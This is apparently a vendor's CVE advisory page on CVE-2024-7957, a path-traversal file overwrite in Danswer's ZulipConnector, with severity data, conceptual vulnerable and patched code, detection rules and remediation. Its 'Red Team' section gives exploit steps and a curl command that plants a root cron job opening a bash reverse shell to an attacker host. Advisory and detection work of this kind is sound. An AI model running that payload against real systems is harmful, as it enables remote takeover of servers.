☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-7957

CVE-2024-7957 Remote Code Execution in Danswer-ai
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.93%
👁️
0.93% probability
23.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7957 is a critical arbitrary file overwrite vulnerability (CVSS 9.1) in the ZulipConnector component of danswer-ai/danswer. The flaw resides in the load_credentials method, where user-controlled realm_name and zuliprc_content parameters are used to construct file paths and write file contents without proper sanitization. An attacker can overwrite or create arbitrary files on the server if a zuliprc- directory already exists in the temporary directory. This can lead to privilege escalation, denial of service, or remote code execution. No public exploit or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Python package danswer-ai/danswer. The ZulipConnector is a third-party integration component. Users should verify the integrity of their deployment and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.1 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The vulnerability is remotely exploitable without authentication, making it highly dangerous for internet-facing deployments.

Deep Dive & Mechanics

The vulnerability exists in the load_credentials method of the ZulipConnector. The method accepts realm_name and zuliprc_content from user input. It constructs a file path by concatenating a temporary directory with the realm_name parameter (e.g., /tmp/zuliprc-{realm_name}). The zuliprc_content is then written to this path. If an attacker provides a realm_name containing path traversal sequences (e.g., ../), they can write files outside the intended directory. The prerequisite is that a zuliprc- directory already exists in the temporary directory, which is typical after initial setup.

Attack Flow:

  1. Attacker identifies a Danswer instance with ZulipConnector enabled.
  2. Attacker sends a crafted request with realm_name set to ../../etc/cron.d/malicious and zuliprc_content set to a cron job payload.
  3. The server writes the payload to /etc/cron.d/malicious, leading to code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def load_credentials(self, realm_name, zuliprc_content):
    temp_dir = tempfile.gettempdir()
    file_path = os.path.join(temp_dir, f"zuliprc-{realm_name}")
    with open(file_path, 'w') as f:
        f.write(zuliprc_content)

Patched Code (Hypothetical):

def load_credentials(self, realm_name, zuliprc_content):
    # Sanitize realm_name to prevent path traversal
    safe_realm = re.sub(r'[^a-zA-Z0-9_-]', '', realm_name)
    temp_dir = tempfile.gettempdir()
    file_path = os.path.join(temp_dir, f"zuliprc-{safe_realm}")
    # Ensure file is within the intended directory
    if not os.path.realpath(file_path).startswith(os.path.realpath(temp_dir)):
        raise ValueError("Invalid realm_name")
    with open(file_path, 'w') as f:
        f.write(zuliprc_content)

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Danswer instance with ZulipConnector enabled.
  • A zuliprc- directory exists in /tmp/ (common after initial setup).

Exploit Steps:

  1. Identify the target endpoint (e.g., /api/zulip/credentials).
  2. Craft a POST request with:
    • realm_name: ../../etc/cron.d/evil
    • zuliprc_content: * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
  3. Send the request.
  4. Wait for cron to execute the payload and receive a reverse shell.

Example cURL:

curl -X POST https://target.com/api/zulip/credentials \
  -d "realm_name=../../etc/cron.d/evil" \
  -d "zuliprc_content=* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"

Blue Team

Detection:

  • Monitor for unusual file writes in /tmp/ and /etc/cron.d/.
  • Alert on requests to ZulipConnector endpoints with suspicious realm_name parameters (e.g., containing ../).
  • Use file integrity monitoring (FIM) on critical system directories.

Mitigation:

  • Disable ZulipConnector if not in use.
  • Apply input validation and sanitization for realm_name.
  • Restrict write permissions on /tmp/ and use a dedicated secure directory.

Indicators of Compromise (IOCs)

  • File Paths: /tmp/zuliprc-* (unexpected files), /etc/cron.d/* (unexpected cron jobs)
  • Network: Outbound connections to attacker IPs on common ports (e.g., 4444, 8080)
  • Process: Unusual cron jobs or shell processes spawned by root
  • Logs: HTTP requests with realm_name containing path traversal sequences

Detection Engineering

YARA Rule

rule CVE_2024_7957_FileOverwrite {
    meta:
        description = "Detects attempts to exploit CVE-2024-7957 via path traversal in realm_name"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7957"
    strings:
        $path_traversal = /\.\.\// nocase
        $zuliprc = "zuliprc" nocase
    condition:
        $zuliprc and $path_traversal
}

Sigma Rule

title: CVE-2024-7957 ZulipConnector Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with path traversal in realm_name parameter
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "realm_name=../"
            - "realm_name=%2e%2e/"
    condition: selection
falsepositives:
    - Legitimate use of dots in realm names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7957 ZulipConnector Path Traversal"; flow:to_server; content:"realm_name"; http_client_body; content:"../"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ZulipConnector component if not required.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the realm_name parameter.
  3. Restrict write permissions on /tmp/ and use a dedicated secure directory for temporary files.

Long-term Fix:

  • Apply input validation and sanitization for realm_name (allow only alphanumeric characters and hyphens).
  • Use absolute path checks to ensure files are written only within the intended directory.
  • Monitor vendor updates and apply patches when available.

Workaround:

  • Modify the load_credentials method to use a fixed, safe directory and reject any realm_name containing path traversal characters.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7957/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.